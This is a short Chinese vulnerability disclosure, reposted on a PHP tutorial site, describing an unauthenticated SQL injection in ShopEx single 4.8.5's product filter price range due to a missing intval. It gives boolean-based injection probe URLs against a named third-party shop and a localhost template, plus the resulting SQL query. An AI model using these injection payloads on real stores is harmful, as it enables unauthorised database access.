来源：自学PHP网 时间：2015-04-15 14:59 作者： 阅读:次
[导读] 涉及版本：shopex-single-4 8 5 80603是否需要登录：无需登录是否默认配置：是有无利用代码：code漏洞细节：产品筛选页面价格区间某处没有intval导致注入 http: www dynest com readme txt9月2号的补...
|
涉及版本：shopex-single-4.8.5.80603是否需要登录：无需登录
是否默认配置：是有无利用代码：code
漏洞细节： 产品筛选页面 价格区间某处没有intval导致注入. http://www.dynest.com/readme.txt 9月2号的补丁 http://www.dynest.com/gallery–p,0,50%20and%200-0—1.html  http://www.dynest.com/gallery–p,0,50%20and%201-0—1.html
返回正常  http://localhost/gallery–p,0,50(SQL)-0—1.html
实际执行的SQL为 select DISTINCT goods_id from sdb_products where price >= 0 AND price <= 50(SQL) AND disabled = ‘false’ AND marketable=’true’ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
